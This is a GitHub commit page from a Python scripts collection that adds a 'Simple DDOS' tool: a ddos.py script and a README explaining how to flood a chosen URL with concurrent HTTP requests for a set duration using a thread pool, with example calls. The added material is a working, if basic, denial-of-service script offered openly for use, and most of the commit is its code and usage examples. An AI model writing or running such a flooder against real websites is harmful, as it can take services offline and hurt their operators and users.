Skip to content

Commit 0671816

Browse files
authored
added ddos script (DhanushNehru#330)
* Add files via upload * Create README.md * Update README.md
1 parent bd5d657 commit 0671816

File tree

3 files changed

+97
-0
lines changed

3 files changed

+97
-0
lines changed

Diff for: README.md

+1
Original file line numberDiff line numberDiff line change
@@ -116,6 +116,7 @@ More information on contributing and the general code of conduct for discussion
116116
| Rock Paper Scissor 2 | [Rock Paper Scissor 2](https://github.com/DhanushNehru/Python-Scripts/tree/master/Rock%20Paper%20Scissor%202) | A new version game of Rock Paper Scissors.
117117
| Run Then Notify | [Run Then Notify](https://github.com/DhanushNehru/Python-Scripts/tree/master/Run%20Then%20Notify) | Runs a slow command and emails you when it completes execution. |
118118
| Selfie with Python | [Selfie with Python](https://github.com/DhanushNehru/Python-Scripts/tree/master/Selfie%20with%20Python) | Take your selfie with python . |
119+
| Simple DDOS | [Simple DDOS](https://github.com/VanshajR/Python-Scripts/tree/master/Simple%20DDOS) | The code allows you to send multiple HTTP requests concurrently for a specified duration. |
119120
| Simple TCP Chat Server | [Simple TCP Chat Server](https://github.com/DhanushNehru/Python-Scripts/tree/master/TCP%20Chat%20Server) | Creates a local server on your LAN for receiving and sending messages! |
120121
| Snake Water Gun | [Snake Water Gun](https://github.com/DhanushNehru/Python-Scripts/tree/master/Snake%20Water%20Gun) | A game similar to Rock Paper Scissors. |
121122
| Sorting | [Sorting](https://github.com/DhanushNehru/Python-Scripts/tree/master/Sorting) | Algorithm for bubble sorting. |

Diff for: Simple DDOS/README.md

+69
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# Multithreaded HTTP Requests with Python
2+
3+
This script performs multithreaded HTTP requests using Python's `requests` library and `ThreadPoolExecutor`. The code allows you to send multiple HTTP requests concurrently for a specified duration.
4+
5+
## Features
6+
- Sends concurrent HTTP requests to a specified URL.
7+
- Supports multiple request methods (GET, POST, etc.).
8+
- Allows customizing headers, cookies, data, and URL parameters.
9+
- The number of threads and the duration of the requests can be controlled.
10+
- Uses ThreadPoolExecutor to handle multithreading efficiently.
11+
12+
## Requirements
13+
- Python 3.x
14+
- `requests` library
15+
16+
To install the `requests` library, run:
17+
```bash
18+
pip install requests
19+
```
20+
21+
## Usage
22+
23+
### Function: `make_request`
24+
This function sends a single HTTP request to a given URL with the specified parameters.
25+
- **Arguments**:
26+
- `url` (str): The URL to send the request to.
27+
- `method` (str): The HTTP method to use (default: GET).
28+
- `headers` (dict): Optional HTTP headers to include.
29+
- `cookies` (dict): Optional cookies to include.
30+
- `data` (dict): Optional data for POST requests.
31+
- `params` (dict): Optional URL parameters.
32+
33+
- **Example**:
34+
make_request("https://example.com", method='POST', data={"key": "value"})
35+
36+
### Function: `start_requests`
37+
This function sends multiple HTTP requests concurrently for a specified duration.
38+
- **Arguments**:
39+
- `url` (str): The URL to send the requests to.
40+
- `method` (str): The HTTP method to use (default: GET).
41+
- `headers` (dict): Optional HTTP headers to include.
42+
- `cookies` (dict): Optional cookies to include.
43+
- `data` (dict): Optional data for POST requests.
44+
- `params` (dict): Optional URL parameters.
45+
- `num_threads` (int): The number of threads to use (default: 5).
46+
- `duration` (int): The duration in seconds to send requests (default: 10 seconds).
47+
48+
- **Example**:
49+
url = "https://example.com/api"
50+
start_requests(url, method='GET', num_threads=5, duration=15)
51+
52+
## How It Works
53+
1. The `start_requests` function uses `ThreadPoolExecutor` to manage the specified number of threads.
54+
2. Each thread sends an HTTP request to the given URL.
55+
3. The process continues until the specified duration ends.
56+
4. The `make_request` function handles sending the requests and printing the response status codes.
57+
58+
## Example Usage
59+
url = "https://example.com/api"
60+
start_requests(url, num_threads=5, duration=15) # Sends requests for 15 seconds using 5 threads.
61+
62+
## Customization
63+
- You can modify the method, headers, cookies, data, or params in the function calls to fit your use case.
64+
- For POST requests, pass data through the `data` argument.
65+
66+
start_requests("https://example.com/post", method='POST', data={'key': 'value'}, num_threads=10, duration=20)
67+
68+
## License
69+
This project is licensed under the MIT License.

Diff for: Simple DDOS/ddos.py

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
import requests
2+
from concurrent.futures import ThreadPoolExecutor
3+
import time
4+
5+
def make_request(url, method='GET', headers=None, cookies=None, data=None, params=None):
6+
try:
7+
8+
response = requests.request(method, url, headers=headers, cookies=cookies, data=data, params=params)
9+
print(f"Response code: {response.status_code}")
10+
except requests.exceptions.RequestException as e:
11+
print(f"Error occurred: {e}")
12+
13+
def start_requests(url, method='GET', headers=None, cookies=None, data=None, params=None, num_threads=5, duration=10):
14+
executor = ThreadPoolExecutor(max_workers=num_threads)
15+
end_time = time.time() + duration # Time to stop the requests
16+
17+
while time.time() < end_time:
18+
for _ in range(num_threads):
19+
executor.submit(make_request, url, method, headers, cookies, data, params)
20+
21+
executor.shutdown(wait=True)
22+
print("Requests completed.")
23+
24+
# Usage example
25+
url = "Sample URL"
26+
start_requests(url, num_threads=5, duration=15) #time in seconds
27+
#change methods as required

0 commit comments

Comments
 (0)